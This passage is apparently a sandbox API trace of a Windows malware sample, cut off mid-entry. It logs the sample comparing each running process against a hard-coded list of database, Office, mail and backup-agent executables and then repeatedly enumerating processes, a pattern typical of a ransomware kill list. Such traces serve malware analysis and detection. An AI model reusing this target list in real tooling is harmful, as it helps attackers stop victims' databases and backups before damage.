(lpString1="trillian.exe", lpString2="sqbcoreservice.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="excel.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="infopath.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="msaccess.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="mspub.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="onenote.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="outlook.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="powerpnt.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="stream.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="thebat.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="thebat64.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="Thunderbird.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="visio.exe") returned -1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="winword.exe") returned -1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="wordpad.exe") returned -1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="sqlwb.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="sqlbrowser.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="agntsvcencsvc.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="msftesql.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="sqlagent.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="sqlwriter.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="oracle.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="ocssd.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="dbsnmp.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="synctime.exe") returned 1 [0050.457] lstrcmpiW (lpString1="webdrive.exe", lpString2="mydesktopqos.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="agntsvc.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="isqlpplussvc.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="isqlpussvc.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="xfssvccon.exe") returned -1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="mydesktopservice.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="ocautoupds.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="encsvc.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="firefoxconfig.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="tbirdconfig.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="ocomm.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="mysqld.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="mysqld-nt") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="mysqld-opt") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="dbeng50.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="sqbcoreservice.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="excel.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="infopath.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="msaccess.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="mspub.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="onenote.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="outlook.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="powerpnt.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="stream.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="thebat.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="thebat64.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="Thunderbird.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="visio.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="winword.exe") returned -1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="wordpad.exe") returned -1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="sqlwb.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="sqlbrowser.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="agntsvcencsvc.exe") returned 1 [0050.458] lstrcmpiW (lpString1="webdrive.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="msftesql.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="sqlagent.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="sqlwriter.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="oracle.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="ocssd.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="dbsnmp.exe") returned 1 [0050.459] lstrcmpiW (lpString1="whatsapp.exe", lpString2="synctime.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="mydesktopqos.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="agntsvc.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="isqlpplussvc.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="isqlpussvc.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="xfssvccon.exe") returned -1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="mydesktopservice.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="ocautoupds.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="encsvc.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="firefoxconfig.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="tbirdconfig.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="ocomm.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="mysqld.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="mysqld-nt") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="mysqld-opt") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="dbeng50.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="sqbcoreservice.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="excel.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="infopath.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="msaccess.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="mspub.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="onenote.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="outlook.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="powerpnt.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="stream.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="thebat.exe") returned 1 [0050.460] lstrcmpiW (lpString1="whatsapp.exe", lpString2="thebat64.exe") returned 1 [0051.343] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0051.348] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.148] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0052.154] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.664] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0052.669] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0053.265] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.759] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0053.767] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0054.405] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.916] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0054.921] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.599] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0055.617] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0056.365] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.986] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0056.992] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0057.953] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.080] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0059.085] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.329] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0059.334] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0061.298] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0061.859] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.331] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0062.336] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.850] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0062.855] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.255] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0063.282] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.570] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0063.575] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.837] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0063.843] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.076] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0064.081] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.466] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0064.471] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0064.825] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.049] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0065.054] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0065.263] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0065.480] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.682] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0065.688] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0066.014] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0066.197] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.630] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0066.634] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0066.837] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.097] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0067.102] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0067.370] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.621] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0067.626] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.814] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0067.819] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0068.017] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0068.022] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0068.222] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0068.229] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0068.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0068.745] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.111] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0069.116] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.309] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0069.314] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.547] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0069.552] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0069.791] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.968] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0069.973] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.157] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0070.162] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0070.388] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.581] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0070.586] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.770] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0070.775] Process32FirstW (in: hSnapshot=0x28c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, 